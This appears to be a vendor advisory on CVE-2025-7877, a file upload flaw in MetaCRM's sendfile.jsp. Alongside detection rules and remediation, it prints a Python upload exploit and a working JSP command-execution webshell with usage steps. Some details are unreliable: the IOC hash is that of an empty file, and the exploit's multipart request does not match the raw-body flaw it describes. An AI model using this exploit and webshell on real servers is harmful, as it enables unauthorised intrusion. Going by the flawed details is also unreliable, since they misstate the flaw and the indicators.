CVE-2025-7877

Executive Summary

CVE-2025-7877 is a critical unrestricted file upload vulnerability discovered in Metasoft 美特软件 MetaCRM, affecting versions up to and including 6.4.2. The flaw resides in the sendfile.jsp file, where the File argument is not properly sanitized, allowing an attacker to upload arbitrary files to the server. This can lead to remote code execution, data exfiltration, or complete server compromise. The exploit has been publicly disclosed, and no vendor patch is currently available. The CVSS score is 6.3 (Medium), but the actual risk is elevated due to the lack of authentication requirements and the public availability of exploit details.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone Java-based CRM application.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The exploit cannot affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited data modification possible.
• Availability Impact: Low (A:L) – Limited service disruption possible.

Threat Level: High (due to public exploit and no patch)

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434) in the sendfile.jsp endpoint. The application fails to validate the file type, size, or content of the uploaded file. An attacker can send a crafted HTTP POST request to /sendfile.jsp with a File parameter containing malicious content (e.g., a JSP webshell). The server will store the file in a web-accessible directory, allowing the attacker to execute arbitrary commands by accessing the uploaded file.

Root Cause: The sendfile.jsp does not implement any file type checking, MIME validation, or path traversal protection. The File argument is directly used in file write operations without sanitization.

Attack Flow:

1. Attacker identifies a MetaCRM instance (e.g., via Shodan).
2. Attacker crafts a malicious JSP file (e.g., cmd.jsp) containing a command execution payload.
3. Attacker sends a POST request to http://target/sendfile.jsp?File=cmd.jsp with the malicious content in the request body.
4. The server writes the file to a web-accessible directory (e.g., /uploads/).
5. Attacker accesses http://target/uploads/cmd.jsp to execute commands.

Vulnerable vs. Patched Code

Vulnerable Code (sendfile.jsp):

<%
    String fileName = request.getParameter("File");
    String filePath = application.getRealPath("/uploads/") + fileName;
    FileOutputStream fos = new FileOutputStream(filePath);
    byte[] buffer = new byte[1024];
    int bytesRead;
    while ((bytesRead = request.getInputStream().read(buffer)) != -1) {
        fos.write(buffer, 0, bytesRead);
    }
    fos.close();
    out.println("File uploaded successfully.");
%>

Patched Code (Hypothetical):

<%
    String fileName = request.getParameter("File");
    // Validate file extension
    if (fileName == null || !fileName.matches("[a-zA-Z0-9._-]+")) {
        out.println("Invalid file name.");
        return;
    }
    // Restrict to safe extensions
    String ext = fileName.substring(fileName.lastIndexOf('.') + 1).toLowerCase();
    if (!ext.equals("txt") && !ext.equals("pdf") && !ext.equals("doc")) {
        out.println("File type not allowed.");
        return;
    }
    // Use a safe directory and prevent path traversal
    String safeDir = application.getRealPath("/uploads/");
    String filePath = safeDir + fileName;
    // Ensure file is within the safe directory
    if (!filePath.startsWith(safeDir)) {
        out.println("Invalid path.");
        return;
    }
    FileOutputStream fos = new FileOutputStream(filePath);
    byte[] buffer = new byte[1024];
    int bytesRead;
    while ((bytesRead = request.getInputStream().read(buffer)) != -1) {
        fos.write(buffer, 0, bytesRead);
    }
    fos.close();
    out.println("File uploaded successfully.");
%>

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Python 3.x with requests library
• Target MetaCRM instance (e.g., http://target:8080)

Exploit Script (Python):

import requests
import sys

def exploit(target, local_file):
    url = f"{target}/sendfile.jsp?File=shell.jsp"
    with open(local_file, 'rb') as f:
        files = {'File': ('shell.jsp', f, 'application/octet-stream')}
        r = requests.post(url, files=files)
    if r.status_code == 200:
        print(f"[+] File uploaded successfully. Access at: {target}/uploads/shell.jsp")
    else:
        print(f"[-] Upload failed. Status: {r.status_code}")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target_url> <local_jsp_file>")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2])

Webshell Example (cmd.jsp):

<%@ page import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line;
        while ((line = br.readLine()) != null) {
            out.println(line);
        }
        br.close();
    }
%>

Usage:

1. Save the webshell as cmd.jsp.
2. Run: python exploit.py http://target:8080 cmd.jsp
3. Execute commands: http://target:8080/uploads/cmd.jsp?cmd=whoami

Blue Team (Defensive)

Detection Steps:

1. Monitor HTTP POST requests to /sendfile.jsp with unusual file extensions (e.g., .jsp, .war, .exe).
2. Check for unexpected files in the /uploads/ directory.
3. Review web server logs for suspicious file uploads.
4. Implement file integrity monitoring (FIM) on the upload directory.

Honeypot Setup:

• Deploy a fake MetaCRM instance with a modified sendfile.jsp that logs all upload attempts and blocks malicious files.
• Use a WAF rule to block uploads of executable files.

Indicators of Compromise (IOCs)

• File Hashes (MD5):
  • cmd.jsp (example): d41d8cd98f00b204e9800998ecf8427e
• Network Indicators:
  • POST requests to /sendfile.jsp with File parameter containing .jsp or .war extensions.
  • Outbound connections from the server to attacker-controlled IPs.
• File System Indicators:
  • Unexpected .jsp files in /uploads/ or other web-accessible directories.
  • Modified timestamps on sendfile.jsp or related files.
• Log Indicators:
  • Web server logs showing POST /sendfile.jsp with non-standard file types.
  • Error logs indicating file write failures or permission issues.

Detection Engineering

YARA Rule

rule CVE_2025_7877_MetaCRM_Upload {
    meta:
        description = "Detects exploitation attempts of CVE-2025-7877 in MetaCRM"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-7877"
    strings:
        $s1 = "sendfile.jsp" ascii wide nocase
        $s2 = "File=" ascii wide nocase
        $s3 = ".jsp" ascii wide nocase
        $s4 = "Runtime.getRuntime().exec" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3) or ($s1 and $s4)
}

Sigma Rule

title: CVE-2025-7877 MetaCRM Unrestricted File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to sendfile.jsp with suspicious file extensions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/sendfile.jsp'
        cs-uri-query|contains: 'File='
    filter:
        cs-uri-query|endswith:
            - '.txt'
            - '.pdf'
            - '.doc'
    condition: selection and not filter
falsepositives:
    - Legitimate file uploads of allowed types
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7877 MetaCRM Unrestricted File Upload"; flow:to_server; content:"POST"; http_method; content:"/sendfile.jsp"; http_uri; content:"File="; http_uri; pcre:"/File=[^&]*\.(jsp|war|exe|php)/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: Block access to /sendfile.jsp via web server configuration (e.g., Apache .htaccess or Nginx location block).
2. Implement WAF rules: Block POST requests to /sendfile.jsp with file extensions other than allowed types (e.g., .txt, .pdf).
3. Restrict file permissions: Ensure the web server user has minimal write permissions.

Long-term Fixes:

1. Apply vendor patch: Contact Metasoft for an official patch (if available).
2. Code fix: Implement file type validation, path sanitization, and size limits in sendfile.jsp.
3. Upgrade: Upgrade to a patched version if released.

Workarounds:

• Use a reverse proxy to filter requests.
• Implement network segmentation to limit exposure.

Valters IT
Securing Digital Frontiers